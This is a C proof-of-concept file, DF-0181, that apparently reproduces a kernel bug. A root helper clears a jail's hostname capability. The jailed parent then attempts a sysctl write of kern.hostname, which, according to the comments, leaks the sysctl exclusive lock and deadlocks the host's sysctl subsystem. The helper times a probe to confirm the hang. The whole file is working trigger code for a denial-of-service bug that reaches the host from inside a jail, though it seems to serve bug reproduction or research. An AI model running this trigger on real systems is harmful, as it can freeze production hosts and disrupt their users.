DF-0181 / df0181_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | /* DF-0181 — single-process driver. * * 1. fork helper H (host root) — waits for JID via pipe, * then probes host sysctl with 5 s SIGALRM and reports. * 2. parent: jail(2) attaches parent to new jail. * 3. parent: writes JID to pipe so helper can clear the cap. * 4. parent: sleeps briefly while helper clears cap. * 5. parent: sysctlbyname("kern.hostname", ..., "evil") -> EPERM. * THIS is where the XLOCK is leaked (kern_mib.c:226). * 6. parent: signals helper to probe (or helper just waits). * 7. helper: tries sysctl read; if it blocks past 5 s alarm, * XLOCK is leaked -> bug confirmed. */ #include <sys/param.h> #include <sys/jail.h> #include <sys/sysctl.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <sys/wait.h> #include <setjmp.h> static sig_atomic_t got_alarm; static void on_alarm(int s){ got_alarm = 1; } static int helper_run(int in_fd) { char buf[32]; int n = read(in_fd, buf, sizeof buf - 1); if (n <= 0) { perror("helper read"); _exit(2); } buf[n] = 0; int jid = atoi(buf); /* Clear the cap from outside the jail. */ char name[64]; snprintf(name, sizeof name, "jail.%d.sys_set_hostname", jid); int zero = 0; int rc = sysctlbyname(name, NULL, NULL, &zero, sizeof zero); if (rc != 0) { printf("DF-0181[helper]: cannot clear %s: %s\n", name, strerror(errno)); _exit(2); } int rb = -1; size_t rblen = sizeof rb; sysctlbyname(name, &rb, &rblen, NULL, 0); printf("DF-0181[helper]: cleared %s (readback=%d)\n", name, rb); fflush(stdout); /* Wait for parent to fire the trigger. */ sleep(3); /* Probe: host sysctl read with 5 s SIGALRM. When XLOCK is leaked, the lockmgr LK_SHARED blocks uninterruptibly. */ printf("DF-0181[helper]: probing host sysctl (5 s alarm)...\n"); fflush(stdout); struct sigaction sa = { .sa_handler = on_alarm }; sigaction(SIGALRM, &sa, NULL); alarm(5); int m[2] = { CTL_KERN, KERN_OSRELEASE }; char obuf[64]; size_t len = sizeof obuf; int r = sysctl(m, 2, obuf, &len, NULL, 0); alarm(0); if (got_alarm) { printf("DF-0181[helper]: probe timed out -> SYSCTL_XLOCK LEAKED " "(host sysctl subsystem deadlocked)\n"); _exit(0); } if (r == 0) { printf("DF-0181[helper]: probe OK kern.osrelease=%s -> NOT leaked\n", obuf); _exit(1); } printf("DF-0181[helper]: probe rc=%d errno=%d (%s)\n", r, errno, strerror(errno)); _exit(1); } int main(void) { /* Baseline timing: prove sysctl works pre-trigger. */ int mb[2] = { CTL_KERN, KERN_OSRELEASE }; char bbuf[64]; size_t blen = sizeof bbuf; if (sysctl(mb, 2, bbuf, &blen, NULL, 0) != 0) { perror("baseline sysctl"); return 2; } printf("DF-0181: baseline kern.osrelease=%s\n", bbuf); int pipefd[2]; if (pipe(pipefd) != 0) { perror("pipe"); return 2; } pid_t h = fork(); if (h == 0) { close(pipefd[1]); return helper_run(pipefd[0]); } close(pipefd[0]); /* Parent: jail(2) attaches parent to new jail. */ struct jail_v0 jv; memset(&jv, 0, sizeof jv); jv.version = 0; jv.path = "/"; jv.hostname = "df0181jail"; jv.ip_number = ntohl(inet_addr("127.0.0.3")); int jid = jail((struct jail *)&jv); if (jid < 0) { perror("jail"); write(pipefd[1], "0\n", 2); return 2; } printf("DF-0181[jail]: jail() jid=%d (parent now jailed)\n", jid); fflush(stdout); /* Tell helper our JID. */ { char num[16]; int n = snprintf(num, sizeof num, "%d\n", jid); write(pipefd[1], num, n); } /* Helper will clear the cap. */ sleep(2); /* Fire the trigger from inside the jail. */ int mh[2] = { CTL_KERN, KERN_HOSTNAME }; char *newhost = "evil"; int r = sysctl(mh, 2, NULL, NULL, newhost, strlen(newhost) + 1); int e = errno; printf("DF-0181[trigger]: sysctl -w kern.hostname=%s rc=%d errno=%d (%s)\n", newhost, r, e, strerror(e)); fflush(stdout); /* Give helper time to finish its probe. */ sleep(10); int status; pid_t w = waitpid(h, &status, WNOHANG); if (w == 0) { printf("DF-0181: helper still running -- XLOCK LEAKED (bug confirmed)\n"); } else if (WIFEXITED(status)) { int code = WEXITSTATUS(status); if (code == 0) printf("DF-0181: helper exited rc=0 -> XLOCK LEAKED (bug confirmed)\n"); else printf("DF-0181: helper exited rc=%d -> lock NOT leaked\n", code); } else if (WIFSIGNALED(status)) { printf("DF-0181: helper signalled %d -> see above\n", WTERMSIG(status)); } return 0; } |